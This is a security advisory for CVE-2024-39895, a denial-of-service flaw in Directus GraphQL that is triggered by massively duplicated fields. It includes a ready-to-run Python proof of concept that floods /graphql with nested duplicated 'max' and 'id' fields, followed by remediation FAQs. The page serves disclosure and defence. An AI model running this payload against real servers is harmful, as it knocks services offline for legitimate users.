CVE-2024-39895: Directus GraphQL Field Duplication Denial of Service (DoS)
Summary A denial of service (DoS) attack by field duplication in GraphQL is a type of attack where an attacker exploits the flexibility of GraphQL to overwhelm a server by requesting the same field multiple times in a single query. This can cause the server to perform redundant computations and consume excessive resources, leading to a denial of service for legitimate users.
Details Request to the endpoint /graphql are sent when visualizing graphs generated at a dashboard: !image
!DoS5
By modifying the data sent and duplicating many times the fields a DoS attack is possible.
PoC The goal is to create a payload that generates a body like this, where the 'max' field is duplicated many times, each with the 'id' field duplicated many times inside it. {'query': 'query { query4f4722ea: testtableaggregated { max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } } }'}
Although that payload seems harmless, a bigger one leaves the service unresponsive.
The following code might serve as a PoC written in Python3: # Field Duplication DoS GitHub @asantof
import requests
CHANGE THIS VALUES: url, authtoken, queryname, collectionname url = 'http://0.0.0.0:8055/graphql' authtoken = '' queryname = 'queryXXXXX' collectionname = ''
headers = { 'Content-Type': 'application/json', 'Authorization': f'Bearer {authtoken}', }
idpayload = 'id ' 200 maxpayload = 'max {' + idpayload + ' } ' fullpayload = maxpayload 200
data = { 'query': 'query { ' + queryname + ': ' + collectionname + 'aggregated { ' + fullpayload + ' } }' }
print(data)
response = requests.post(url, headers=headers, json=data)
print(response.json())
!DoS4
After running it the service will be unresponsive for a while: !DoS
Impact The vulnerability impacts the service's availability by causing it to become unresponsive for a few minutes. An attacker could continuously send this request to the server, rendering the service unavailable indefinitely.
Other sources
Directus is a real-time API and App dashboard for managing SQL database content. A denial of service (DoS) attack by field duplication in GraphQL is a type of attack where an attacker exploits the flexibility of GraphQL to overwhelm a server by requesting the same field multiple times in a single query. This can cause the server to perform redundant computations and consume excessive resources, leading to a denial of service for legitimate users. Request to the endpoint /graphql are sent when visualizing graphs generated at a dashboard. By modifying the data sent and duplicating many times the fields a DoS attack is possible. This vulnerability is fixed in 10.12.0.
— MITRE
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2024-39895?
The severity of CVE-2024-39895 is classified as high due to its potential to cause denial of service (DoS) through field duplication in GraphQL queries.
How do I fix CVE-2024-39895?
To fix CVE-2024-39895, upgrade to @directus/env version 1.1.6 or a later version that addresses the vulnerability.
What kind of attack does CVE-2024-39895 involve?
CVE-2024-39895 involves a denial of service (DoS) attack by exploiting field duplication in GraphQL queries.
What software is affected by CVE-2024-39895?
CVE-2024-39895 affects the @directus/env package and versions of Directus prior to 10.12.0.
How can CVE-2024-39895 impact my application?
CVE-2024-39895 can severely impact your application by overwhelming the server, potentially making it unresponsive due to excessive resource usage.